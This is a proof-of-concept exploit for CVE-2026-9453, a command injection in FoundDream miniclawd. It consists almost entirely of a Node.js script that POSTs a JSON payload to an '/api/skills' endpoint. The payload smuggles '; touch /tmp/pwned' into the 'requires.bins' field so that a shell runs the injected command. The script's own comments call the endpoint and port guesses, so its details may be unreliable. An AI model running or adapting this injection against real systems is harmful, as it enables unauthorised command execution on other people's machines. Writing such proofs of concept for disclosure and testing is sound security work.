CVE-2026-9453 FoundDream miniclawd命令注入漏洞

// PoC for CVE-2026-9453 // Target: FoundDream miniclawd // Vulnerability: Command Injection in requires.bins const http = require('http'); // Configuration const targetHost = '127.0.0.1'; const targetPort = 3000; // Assuming default port const path = '/api/skills'; // Hypothetical endpoint based on SkillsLoader // Malicious payload designed to inject a shell command // Example: executing 'touch /tmp/pwned' to prove command execution const payload = { "requires": { "bins": "; touch /tmp/pwned" // The semicolon separates the intended command from the injected one } }; const postData = JSON.stringify(payload); const options = { hostname: targetHost, port: targetPort, path: path, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); res.on('data', (d) => { process.stdout.write(d); }); }); req.on('error', (e) => { console.error(e); }); req.write(postData); req.end(); console.log('[*] Sending malicious payload to trigger command injection...');